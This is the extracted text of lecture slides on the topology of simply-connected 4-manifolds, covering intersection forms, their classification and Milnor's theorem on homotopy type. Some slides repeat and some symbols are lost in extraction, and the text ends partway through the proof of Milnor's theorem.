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Some bits of this website may not work unless you switch it on. | 1,207 | 4,459 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2024-38 | latest | en | 0.691194 |
https://www.jiskha.com/display.cgi?id=1355419014 | 1,516,314,083,000,000,000 | text/html | crawl-data/CC-MAIN-2018-05/segments/1516084887621.26/warc/CC-MAIN-20180118210638-20180118230638-00592.warc.gz | 905,420,632 | 3,862 | # Mathsa
posted by .
Which of the following equations has an infinite number of solutions? (1 point)
3x – 3 = –4x
2y + 4 – y = 16
7x + 5 = 4x + 5 + 3x
6y – 2 = 2(y – 1)
• Mathsa -
i think the andswer is c
am i right steve
• Mathsa -
They need to be the same on both sides
(Identity)
• Mathsa -
what do you mean????
• Mathsa -
C yes
• Mathsa -
4. Graph the inequality: x ≤ –2 (1 point)
• Mathsa -
the stuff on one side has to equal the other side :
x =x infinite solutions
5=5 infinite solutions
etc
• Mathsa -
sooooooo are u saying c is the wrong answr
• Mathsa -
c should be the right answer....
• Mathsa -
that wat i said
• Mathsa -
4. Graph the inequality: x ≤ –2 (1 point)
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Determine the number of solutions for the following system of equations 2x+5y=7 10y=-4x+14 1)Exactly one solution 2)No solutions 3)infinite solutions 4)Exactly 2 solutions I solved the equations and got y=7-2X/5 y=-4X+14/10 and I said …
9. ### PRE-ALGEBRA
1. 5h – 9 = –16 + 6h (1 point) 4 –7 7 10 2. 4x + 4 = 9x – 36 (1 point) –8 –7 8 –3 3. Which of the following equations has an infinite number of solutions? | 697 | 2,094 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.8125 | 4 | CC-MAIN-2018-05 | latest | en | 0.898232 |
https://postgis.net/docs/manual-3.5/es/ST_LargestEmptyCircle.html | 1,721,515,402,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763517541.97/warc/CC-MAIN-20240720205244-20240720235244-00816.warc.gz | 392,909,571 | 2,514 | Name
ST_LargestEmptyCircle — Computes the largest circle not overlapping a geometry.
Synopsis
`(geometry, geometry, double precision) ST_LargestEmptyCircle(`geometry geom, double precision tolerance=0.0, geometry boundary=POINT EMPTY`)`;
Descripción
Finds the largest circle which does not overlap a set of point and line obstacles. (Polygonal geometries may be included as obstacles, but only their boundary lines are used.) The center of the circle is constrained to lie inside a polygonal boundary, which by default is the convex hull of the input geometry. The circle center is the point in the interior of the boundary which has the farthest distance from the obstacles. The circle itself is provided by the center point and a nearest point lying on an obstacle detemining the circle radius.
The circle center is determined to a given accuracy specified by a distance tolerance, using an iterative algorithm. If the accuracy distance is not specified a reasonable default is used.
Returns a record with fields:
• `center` - center point of the circle
• `nearest` - a point on the geometry nearest to the center
• `radius` - radius of the circle
To find the largest empty circle in the interior of a polygon, see ST_MaximumInscribedCircle.
Availability: 3.4.0.
Requires GEOS >= 3.9.0.
Ejemplos
```SELECT radius,
center,
nearest
FROM ST_LargestEmptyCircle(
'MULTILINESTRING (
(10 100, 60 180, 130 150, 190 160),
(20 50, 70 70, 90 20, 110 40),
(160 30, 100 100, 180 100))');```
Largest Empty Circle within a set of lines.
```SELECT radius,
center,
nearest
FROM ST_LargestEmptyCircle(
ST_Collect(
'MULTIPOINT ((70 50), (60 130), (130 150), (80 90))'::geometry,
'POLYGON ((90 190, 10 100, 60 10, 190 40, 120 100, 190 180, 90 190))'::geometry),
0,
'POLYGON ((90 190, 10 100, 60 10, 190 40, 120 100, 190 180, 90 190))'::geometry
);```
Largest Empty Circle within a set of points, constrained to lie in a polygon. The constraint polygon boundary must be included as an obstacle, as well as specified as the constraint for the circle center. | 549 | 2,055 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.796875 | 3 | CC-MAIN-2024-30 | latest | en | 0.789331 |
https://www.scribd.com/doc/19235174/Amway-sales-and-marketing-plan-demo-India | 1,500,845,914,000,000,000 | text/html | crawl-data/CC-MAIN-2017-30/segments/1500549424610.13/warc/CC-MAIN-20170723202459-20170723222459-00271.warc.gz | 827,700,255 | 31,153 | # Total Sales Turnover of the group is 75,000 BV = Total Performance Bonus earned by group is 9% of 75,000 BV = Performance Bonus paid
to your downlines A, B, C & D [6% of 60,000 BV (turnover of downlines)] = Bonus paid to you (X - B) Personal Volume = 20% of 15,000 BV = Your Total Earning of the month = Rs. 3,000 + Rs. 3,150 =
Total Sales Turnover of X’s group is 5,00,000 BV = 1,500 PV Rs. 6,750 (X) Commission level for the Group at 10,000 PV = Total Group Commission 21% of 5,00,000 BV=
10,000 PV 21% Rs. 1,05,000 (X)
Commission earned by A’s Group 12% of 1,00,000 BV = Rs. 12,000 (A) Rs. 3,600 (B) Rs. 3,150 Rs. 3,000 Rs. 6,150 Personal Business 20% of 50,000 = Rs. 10,000 Rs. 56,500 Commission earned by B’s Group 12% of 1,00,000 BV = Rs. 12,000 (B) Commission earned by C’s Group 9% of 50,000 = Rs. 4,500 (C)
Commission earned by D’s Group 15% of 2,00,000 = Rs. 30,000 (D) Net Commission earned by you = X - A - B - C - D = Rs. 46,500
The Amway Sales & Marketing Plan
freedom
family hope
E.g. 3:
Let us assume X, an Amway Business Owner has sponsored 4 other persons as Amway Business Owners (A, B, C & D) who in turn have sponsored other persons as their downline Amway Business Owners. - X does a personal business of 1,000 PV i.e. 50,000 BV - The Group turnover of A & B be 2,000 PV i.e. 1,00,000 BV each - C’s Group turnover be 1,000 PV i.e. 50,000 BV - D’s Group turnover be 4,000 PV i.e. 2,00,000 BV. In the above example, X, an Amway Business Owner reaches 21% level which is the maximum commission paid by Amway on purchase of Amway products for sale as depicted below.
X’s Total monthly Earnings =
Gets Even Better!!!
Are you???
reward
2,000 GPV* (A) 1,00,000 GBV* 10,000 GPV* 1,000 PPV* (X) 5,00,000 GBV* 50,000 PBV* 2,000 GPV* (B) 1,00,000 GBV*
4,000 GPV* (D) 2,00,000 GBV*
1,000 GPV* (C) 50,000 GBV*
*GPV is Group Point Value; GBV is Group Business Volume; PPV is Personal Point Value; PBV is Personal Business Volume
Amway India Enterprises Pvt. Ltd. No. 5, DDA Local Shopping Centre, Okhla Commercial Complex, Phase II, New Delhi - 110020 Tel: (011) 42295900
Regd. Office
This is where dreams turn into reality. Live the Amway Opportunity
4
5
The Amway Sales and Marketing Plan is a low risk, low start-up cost business opportunity that is open to everyone. It provides a flexible opportunity to build your business through retailing of products and building a network of other people who are engaged in the same activities. The core of the Amway Sales and Marketing Plan's income opportunity comes from retailing quality AMWAY products by you to your customers. As your Amway business grows, the rewards you earn will grow in proportion.
Let’s take few examples to illustrate how Amway Sales & Marketing Plan works.
E.g. 1:
Since Amway Business Model is based on retailing of products, let’s take a simple example of how you can reach a first performance bonus level of 6% i.e. 300 PV as a starting point. On an average a normal family would require under mentioned products every month. Average usage of a Family of 4 members.
300 PV = 15,000 BV
Retail Profit Margin Additional Discount / Commission 6%* of 15,000 BV = Rs 900 Grand Total Rs 3,900
PRODUCTS Nutrilite Protein Powder 500 gms (1)
PV 25.06 26.98 12.68 1.78 5.44 5.30 5.54 8.10 3.12 2.64 4.20
BV 1,253 1,349 634 89 272 265 277 405 156 132 210
20% of 15,000 BV = Rs 3,000
Can life get any better?
So often life is a trade off between making money you need at the cost of the flexibility and time you want to spend doing other things. Amway, an alternative that puts you in control, allows you the flexibility to work when you want, the time for your family and friends, and the income you dream of. The Amway Opportunity works in twofold: Giving you a chance to build your own business at your pace & achieve the rewards and recognition linked to the plan and at the same time helping other people do the same. Performance Bonus and Award Schedule is based on retailing of Amway products which is as under:
Nutrilite Daily Big Pack (1) Multi-Vitamin Nutrilite Berry Blast (1) Children’s Drink Glister Tooth Paste (1) SA-8 Gelzyme 500 ML (1) Laundry Detergent Satinique 2 in 1 Shampoo LOC 1Ltr Multi purpose Cleaner Nutrilite Calmag (1) Dietary Supplement Persona Bar Soap (2) Glister Mouth Freshener Spray Dish Drops (500ml)
If you along with your Group sell Amway products equivalent to Business Volume (BV). (Business Volume (BV) is equal to the Distributor Acquisition Price (DAP) of Amway Products minus Taxes.)
Your Group Total Points would be Point Value (PV) for Amway Products purchased. (Point Value (PV) – Every Amway Product has denominated points which you get upon purchasing Amway products for sale.)
This purchase of Amway products for sale will make you and your Group entitled to volume based discount / commission on Business Volume @
Total PV = 100.84 Total BV = 5,042
Thus approximately every family requires products equivalent to 100 PV per month. Let’s presume that you have 2 or 3 friends, who are interested in buying Amway products and you make them your customers. So in order to meet the monthly requirements of your own along with your friends you can easily sell products worth 300 PV. *(6% is commission payable at first slab level of 300 PV).
E.g. 2:
Growth of business by building a sales force. Let us now take another example of you having sponsored 4 persons as Amway Business owners and each of you doing a business of 300 PV i.e. purchasing Amway products worth BV of 15,000 each.
15,000 50,000 1,00,000 2,00,000 3,50,000 5,00,000
300 1,000 2,000 4,000 7,000 10,000
6% 9% 12% 15% 18% 21%
300 PV (A) 100 PV
YOU 300 PV
300 PV (D)
Current PV:BV RATIO is 1 PV = 50 BV
1 2
Customer 1
YOU
100 PV
Customer 2
100 PV
300 PV (B)
300 PV (C)
3 | 1,729 | 5,804 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2017-30 | latest | en | 0.914311 |
https://mathspig.wordpress.com/tag/how-fast-are-speed-skaters/ | 1,582,927,635,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875147647.2/warc/CC-MAIN-20200228200903-20200228230903-00340.warc.gz | 446,394,998 | 27,899 | ## Winter Olympics: Beaten by 0.001 seconds
February 14, 2018
In 2014 Winter Olympics Annette Gerristen (below) lost the Gold Medal in the 1000 m Women’s speed skate competition by 0.02 seconds.
Annette Gerritsen fromthe Netherlands
# If Yara lost the Gold Medal by 0.02 secs (2 hundredths of a second) what would the distance be between the Gold and Silver place getters?
## 23.8 cm behind the Gold Medalist
### The 2018 Olympic Gold Medalist in the 500m Women’s Speed Skating was Arianna Fontana.
Italy’s Arianna Fontana wins the 500 m Speed Skating 2018 Olympic Gold Medal in 42.569 seconds ahead of Yara van Kerkhof of the Netherlands and Kim Boutin of Canada.
# If you lose by 0.001 secs…………
Apollo Ono (below) competed in the 1500m men’s speed skating. He has won 8 Olympic Medals.
If a speed skater lost the Gold Medal by 0.001 seconds, the smallest measured time segment at the Olympics, they would be:
# 1.19 cm
behind the winner. That is less than the length of a small fingernail.
## 5. Beaten by 0.001 seconds
January 23, 2014
Here is a screen grab from the New York Times article on Speed Skating:
Fractions of a Second: New York Times
Annette Gerritsen fromthe Netherlands
Annette Gerristen lost the Gold Medal in the 1000 m Women’s speed skate competition by 0.02 seconds.
Apollo Ono USA speed skater
Screen Grab NBC Mathletes
Apollo Ono Recorded Speed
From the wonderful NBC Mathletes Video
# How far can a speed skater travel in 0.02 secs?
When 1st and 2nd place are separated by 0.02 seconds, they are travelling at almost the same speed. So the second place contestant is:
# 23.8 cm
behind the winner.
The distance travelled by the winning speed skater in 0.002 seconds would be:
# 2.38 cm.
So the second place competitor would be 2.38 cm behind.
If a speed skater lost the Gold Medal by 0.001 seconds, the smallest measured time segment at the Olympics, they would be:
# 1.19 cm
behind the winner. That is less than the length of a small fingernail. | 547 | 2,002 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2020-10 | latest | en | 0.880463 |
https://news.priviw.com/technology/counting-triangles-in-a-graph-by-iteratively-removing-high-degree-nodes/ | 1,642,886,581,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320303884.44/warc/CC-MAIN-20220122194730-20220122224730-00333.warc.gz | 475,287,438 | 29,770 | # Counting triangles in a graph by iteratively removing high-degree nodes
Computing `nx.triangles(G)` on an undirected graph with about 150 thousand nodes and 2 million edges, is currently very slow (on the scale of 80 hours). If the node degree distribution is highly skewed, is there any problem with counting triangles using the following procedure?
``````import networkx as nx
def largest_degree_node(G):
return sorted(G.degree(), key=lambda x: x[1])[-1][0]
def count_triangles(G):
G=G.copy()
triangle_counts = 0
while len(G.nodes()):
focal_node = largest_degree_node(G)
triangle_counts += nx.triangles(G, nodes=[focal_node])[focal_node]
G.remove_node(focal_node)
return triangle_counts
G = nx.erdos_renyi_graph(1000, 0.1)
# compute triangles with nx
triangles_nx = int(sum(v for k, v in nx.triangles(G).items()) / 3)
# compute triangles iteratively
triangles_iterative = count_triangles(G)
# assertion passes
assert int(triangles_nx) == int(triangles_iterative)
``````
The assertion passes, but I am wary that there are some edge cases where this iterative approach will not work. | 281 | 1,094 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.65625 | 3 | CC-MAIN-2022-05 | latest | en | 0.819738 |
https://newbedev.com/can-we-detect-cycles-in-directed-graph-using-union-find-data-structure | 1,717,094,325,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971670239.98/warc/CC-MAIN-20240530180105-20240530210105-00627.warc.gz | 352,218,960 | 6,414 | # Can we detect cycles in directed graph using Union-Find data structure?
No.
Let me give you an example:
• Q1. Take an undirected graph:
Is there a cycle in above undirected graph? Yes. And we can find the cycle using Union-Find algo.
• Q2. Now look at the similar directed graph:
Is there a cycle in above directed graph? No! BUT if you use Union-Find algo to detect cycle in above directed graph, it will say YES! Since union-find algo looks at the above diagram as below:
OR
Is there a cycle in above diagram? Yes! But the original(Q2) question was tampered and this is not what was asked. So Union-find algo will give wrong results for directed graphs.
No, we cannot use union-find to detect cycles in a directed graph. This is because a directed graph cannot be represented using the disjoint-set(the data structure on which union-find is performed).
When we say 'a union b' we cannot make out the direction of edge
1. is a going to b? (or)
2. is b going to a?
But, incase of unordered graphs, each connected component is equivalent to a set. So union-find can be used to detect a cycle. Whenever you try to perform union on two vertices belonging to the same connected component, we can say that cycle exists. | 282 | 1,228 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2024-22 | latest | en | 0.955526 |
https://9dok.net/document/yj70pp9k-the-topology-of-manifolds.html | 1,679,640,364,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296945248.28/warc/CC-MAIN-20230324051147-20230324081147-00368.warc.gz | 116,529,574 | 37,910 | # The Topology of 4 - Manifolds
(1)
## The Topology of 4 - Manifolds
Institut f¨ur Mathematik, Humboldt Universit¨at zu Berlin
(2)
1. Homology and Cohomology 2. Intersection Forms
3. Homotopy Type
4. The “Big” Structure Theorems
5. Whitney Disks and the Failure of the h-Cobordism Principle in Dimension Four
(3)
## Homology and Cohomology
(4)
Some Essential Facts
Poincare duality:
Theorem
Let X be a closed orientable 4-manifold, then we have an isomorphism
PD :Hi(X;Z) −−−−→= H2−i(X;Z).
(5)
Some Essential Facts
Theorem
Let X be a simply-connected closed oriented 4-manifold, then H2(X,Z) is a free abelian group.
(6)
Some Essential Facts
Proof.
This is a simple computation: We have:
H2(X;Z)∼=H2(X;Z).
And also
H1(X;Z) = Ab(π1(X)) = 0.
Thus by the universal coefficient theorem:
H2(X,Z) = Ext1Z(H1(X;Z),Z)⊕Hom(H2(X;Z),Z)
= Hom(H2(X;Z),Z).
SinceH2(X;Z) is fin. generated we have that Hom(H2(X;Z),Z) is free.
(7)
Some Essential Facts
Can we seeH2(X;Z)∼=H2(X;Z) geometrically?
For α∈H2(X;Z) choose a complex line bundleL s.t. c1(L) =α.
Take a generic section σ
We have an embedded surface Σα−1(0)
[Σα] =PD(α)
(8)
Some Essential Facts
Can we seeH2(X;Z)∼=H2(X;Z) geometrically?
For α∈H2(X;Z) choose a complex line bundleL s.t.
c1(L) =α.
Take a generic section σ
We have an embedded surface Σα−1(0)
[Σα] =PD(α)
(9)
Some Essential Facts
Can we seeH2(X;Z)∼=H2(X;Z) geometrically?
For α∈H2(X;Z) choose a complex line bundleL s.t.
c1(L) =α.
Take a generic section σ
We have an embedded surface Σα−1(0)
[Σα] =PD(α)
(10)
Some Essential Facts
Can we seeH2(X;Z)∼=H2(X;Z) geometrically?
For α∈H2(X;Z) choose a complex line bundleL s.t.
c1(L) =α.
Take a generic section σ
We have an embedded surface Σα−1(0)
[Σα] =PD(α)
(11)
Some Essential Facts
Can we seeH2(X;Z)∼=H2(X;Z) geometrically?
For α∈H2(X;Z) choose a complex line bundleL s.t.
c1(L) =α.
Take a generic section σ
We have an embedded surface Σα−1(0)
[Σα] =PD(α)
Note: Different construction using Eilenberg-MacLean spaces in appendix of notes.
(12)
Some Essential Facts
Next we will define an additional structures onH2(X;Z).
(13)
## Intersection Forms
(14)
The Intersection Product
Cap Product:
_:Hp(X;Z)×Hq(X;Z)→Hp−q(X;Z).
Kronecker Pairing:
h·,·i:Hp(X;G)×Hp(X;G)→G.
Cup product:
^:Hi(X;Z)×Hj(X;Z)→Hj+i(X;Z).
(15)
The Intersection Product
Now we have everything we need to make this definition:
Definition
LetX be a closed orientedtopological 4-manifold. Then the bilinear map
Q:H2(X;Z)×H2(X;Z) −−−−→ Z given by
(α, β)7→ hα ^ β,[X]i is called (cohomology)intersection formof X.
(16)
The Intersection Product
This is a very algebraic definition. For a smooth four manifold we can interpret it in a more geometric way:
(17)
The Smooth Intersection Product
Theorem
Let X be closed oriented simply-connected smooth 4-manifold. Let α, β∈H2(X;Z) and[Σα],[Σβ]∈H2(X;Z) be their duals. There are closed 2-formsωα and ωβ representingα, β such that
Q(α, β) =hα ^ β,[X]i= Σα·Σβ = Z
X
ωα∧ωβ.
Since H2(X;Z) is torsion free we can go forth and back be- tween integral and de Rahm cohomology.
(18)
The Smooth Intersection Product
Theorem
Let X be closed oriented simply-connected smooth 4-manifold. Let α, β∈H2(X;Z) and[Σα],[Σβ]∈H2(X;Z) be their duals. There are closed 2-formsωα and ωβ representingα, β such that
Q(α, β) =hα ^ β,[X]i= Σα·Σβ = Z
X
ωα∧ωβ.
Since H2(X;Z) is torsion free we can go forth and back be- tween integral and de Rahm cohomology.
(19)
The Smooth Intersection Product
Proof.
First we notice:
Q(α, β) =hα ^ β,[X]i=hα,[X]_ βi
=hα,PD(β)i=hα,[Σβ]i Switching to de Rahm cohomology:
hα,[Σα]i= Z
Σβ
ωα
(20)
The Smooth Intersection Product
Proof.
Now we have to show:
Z
Σβ
ωα= Σα·Σβ
Choose Σαβ. Then we have a finite number of intersection points. Sinceωα vanishes away from Σα it is enough to compute the integral at the intersection points.
(21)
The Smooth Intersection Product
Proof.
Around any intersection point chooseUand oriented local coordinatesx1,x2,x3,x4 s.t.
U∩Σα={x3 =x4= 0} U∩Σβ ={x1 =x2= 0}
andU∩Σα is oriented bydx1∧dx2. Then ωα=f(x3,x4)dx3∧dx4 for a bump functionf :R2→R. Then
Z
U∩Σβ
f(x3,x4)dx3∧dx4 =±1 depending on orientation.
(22)
The Smooth Intersection Product
Proof.
By summing over all intersection points we get:
Z
Σβ
ωα= Σα·Σβ. For the last equality we have:
hω,[N]i= Z
N
ω
1∧ω2] = [ω1]^[ω2] Giving us
Q(α, β) = Z
X
ωα∧ωβ.
(23)
Unimodularity
Theorem
Let X be closed oriented simply-connected 4-manifold. Then QX is unimodular, i.e. a→Q(·,a) and b→Q(b,·) are isomorphisms.
(24)
Unimodularity
Proof.
By the universal coefficient theorem
H2(X;Z)→Hom(H2(X;Z)) α7→ hα,·i
is an isomorphism. This suffices, as
Q(α, β) =hα,PD(β)i andQ is symmetric.
(25)
Example
Example Consider
X =S2×S2. Then
H2(X;Z) =hPD−1([{pt} ×S2]),PD−1([{pt} ×S2])i.
And
Q ∼= 0 1 1 0
!
(26)
In the Presence of Torsion
What happens ifH2(X;Z) is not free?
Letα∈H2(X;Z) s.t. n·α= 0, then
nQ(α, β) =Q(n·α, β) =Q(0, β) = 0. So we can define
Q˜ :
H2(X;Z)
Ext1Z(H1(X;Z),Z) 2
−−−−→ Z and use the arguments there.
(27)
In the Presence of Torsion
What happens ifH2(X;Z) is not free? Letα∈H2(X;Z) s.t.
n·α= 0, then
nQ(α, β) =Q(n·α, β) =Q(0, β) = 0.
So we can define Q˜ :
H2(X;Z)
Ext1Z(H1(X;Z),Z) 2
−−−−→ Z and use the arguments there.
(28)
In the Presence of Torsion
What happens ifH2(X;Z) is not free? Letα∈H2(X;Z) s.t.
n·α= 0, then
nQ(α, β) =Q(n·α, β) =Q(0, β) = 0.
So we can define Q˜ :
H2(X;Z)
Ext1Z(H1(X;Z),Z) 2
−−−−→ Z and use the arguments there.
(29)
Intersection Form Invariants
Parity:
IfQ(α, α)∈2Z∀α∈H2(X;Z) we call Q even. Otherwise it is called odd.
Definiteness:
IfQ(α, α)>0∀α∈H2(X;Z) we call Q positive-definite. If Q(α, α)<0∀α∈H2(X;Z) we call Q negative-definite. Otherwise it is called indefinite.
Rank:
The second Betti numberb2(X) is called the rankof Q.
Signature:
Over RQ hasb+2 positive and b2 negative eigenvalues. We call
signQ =b+2 −b2 thesignature of Q.
(30)
Intersection Form Invariants
Parity:
IfQ(α, α)∈2Z∀α∈H2(X;Z) we call Q even. Otherwise it is called odd.
Definiteness:
IfQ(α, α)>0∀α∈H2(X;Z) we call Q positive-definite. If Q(α, α)<0∀α∈H2(X;Z) we call Q negative-definite.
Otherwise it is called indefinite.
Rank:
The second Betti numberb2(X) is called the rankof Q.
Signature:
Over RQ hasb+2 positive and b2 negative eigenvalues. We call
signQ =b+2 −b2 thesignature of Q.
(31)
Intersection Form Invariants
Parity:
IfQ(α, α)∈2Z∀α∈H2(X;Z) we call Q even. Otherwise it is called odd.
Definiteness:
IfQ(α, α)>0∀α∈H2(X;Z) we call Q positive-definite. If Q(α, α)<0∀α∈H2(X;Z) we call Q negative-definite.
Otherwise it is called indefinite.
Rank:
The second Betti numberb2(X) is called the rankof Q.
Signature:
Over RQ hasb+2 positive and b2 negative eigenvalues. We call
signQ =b+2 −b2 thesignature of Q.
(32)
Intersection Form Invariants
Parity:
IfQ(α, α)∈2Z∀α∈H2(X;Z) we call Q even. Otherwise it is called odd.
Definiteness:
IfQ(α, α)>0∀α∈H2(X;Z) we call Q positive-definite. If Q(α, α)<0∀α∈H2(X;Z) we call Q negative-definite.
Otherwise it is called indefinite.
Rank:
The second Betti numberb2(X) is called the rankof Q.
Signature:
Over RQ hasb+2 positive and b2 negative eigenvalues. We call
signQ =b+2 −b2
(33)
Hasse-Minkowski Classification
Theorem (Hasse-Minkowski)
Let H be a freeZmodule. If Q :H×H→Zis an odd indefinite bilinear form then
Q ∼=l(1)⊕m(−1)
with l,m∈N0. If Q :H×H→Z is an even indefinite bilinear form then
Q ∼=l 0 1 1 0
!
⊕mE8
with l,m∈N0.
(34)
Hasse-Minkowski Classification
E8 =
2 −1 0 0 0 0 0 0
−1 2 −1 0 0 0 0 0
0 −1 2 −1 0 0 0 0
0 0 −1 2 −1 0 0 0
0 0 0 −1 2 −1 0 −1
0 0 0 0 −1 2 −1 0
0 0 0 0 0 −1 2 0
0 0 0 0 −1 0 0 2
(35)
Hasse-Minkowski Classification
No easy classification
Many exotic forms
Number of unique even definite forms of some ranks: Rank 8 16 24
# 1 2 5
(36)
Hasse-Minkowski Classification
No easy classification
Many exotic forms
Number of unique even definite forms of some ranks: Rank 8 16 24
# 1 2 5
(37)
Hasse-Minkowski Classification
No easy classification
Many exotic forms
Number of unique even definite forms of some ranks:
Rank 8 16 24
# 1 2 5
(38)
Diagonalizability
Warning: Any intersection form is diagonalizable overQbut might not be overZ.
Exercise Show that
0 1 1 0
!
is not diagonalizable overZ.
(39)
## Homotopy Type
(40)
Milnor’s Theorem
We will now find a direct link between homotopy type and intersection form of four manifolds.
(41)
Milnor’s Theorem
Theorem (Milnor (1958))
The oriented homotopy type of a simply-connected closed oriented 4-manifold is determined by its intersection form.
(42)
Milnor’s Theorem
Proof.
DefineX0=X\B4. Then Hk(X0;Z) =
H2(X) k = 2 0 k = 1,3,4. By Hurewicz’s theorem:
f :S2∨...∨S2 →X0
representsπ2(X)∼=H2(X0;Z). This induces an isomorphism Hk(S2∨...∨S2;Z)∼=Hk(X0;Z)
for everyk.
(43)
Milnor’s Theorem
Proof.
Thus
X '(S2∨...∨S2)∪he4
with [h]∈π3(S2∨...∨S2). Left to show: [h] depends only onQ. Complete proof can be found in: [1, p.141ff]
(44)
Milnor’s Theorem
Proof.
Sketch:
[X]∈H4(X;Z) corresponds to [e4]∈H4((S2∨...∨S2)∪he4;Z)
S2∨ · · · ∨S2 =CP1∨ · · · ∨CP1 ⊂CP× · · · ×CP
Long exact sequence on relative homotopy groups:
π4mCP) −−−−→ π4mCP,∨mS2) −−−−→ π3(∨mS2)
−−−−→ π3mCP)
CP is K(Z,2) =⇒
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
(45)
Milnor’s Theorem
Proof.
Sketch:
[X]∈H4(X;Z) corresponds to [e4]∈H4((S2∨...∨S2)∪he4;Z)
S2∨ · · · ∨S2 =CP1∨ · · · ∨CP1 ⊂CP× · · · ×CP
Long exact sequence on relative homotopy groups:
π4mCP) −−−−→ π4mCP,∨mS2) −−−−→ π3(∨mS2)
−−−−→ π3mCP)
CP is K(Z,2) =⇒
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
(46)
Milnor’s Theorem
Proof.
Sketch:
[X]∈H4(X;Z) corresponds to [e4]∈H4((S2∨...∨S2)∪he4;Z)
S2∨ · · · ∨S2 =CP1∨ · · · ∨CP1 ⊂CP× · · · ×CP
Long exact sequence on relative homotopy groups:
π4mCP) −−−−→ π4mCP,∨mS2) −−−−→ π3(∨mS2)
−−−−→ π3mCP)
CP is K(Z,2) =⇒
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
(47)
Milnor’s Theorem
Proof.
Sketch:
[X]∈H4(X;Z) corresponds to [e4]∈H4((S2∨...∨S2)∪he4;Z)
S2∨ · · · ∨S2 =CP1∨ · · · ∨CP1 ⊂CP× · · · ×CP
Long exact sequence on relative homotopy groups:
π4mCP) −−−−→ π4mCP,∨mS2) −−−−→ π3(∨mS2)
−−−−→ π3mCP)
CP is K(Z,2) =⇒
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
(48)
Milnor’s Theorem
Proof.
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
Oriented manifold: [h] is determined by αk(h([e4])) for α1, ..., αl basis of H4mCP).
Basis is given by cupping PD−1([Si2]). Since
H2mCP)∼=H2(∨mS2)∼=H2(X0;Z) =H2(X;Z) these classes can be seen in X.
We are done since hPD−1([Si2])^PD−1([Sj2]),h([e4])i= hωi, ωj,[X]i=Q(ωi, ωj)
(49)
Milnor’s Theorem
Proof.
π3(∨mS2)∼=π4mCP,∨mS2)∼=H4mCP,∨mS2)
Oriented manifold: [h] is determined by αk(h([e4])) for α1, ..., αl basis of H4mCP).
Basis is given by cupping PD−1([Si2]). Since
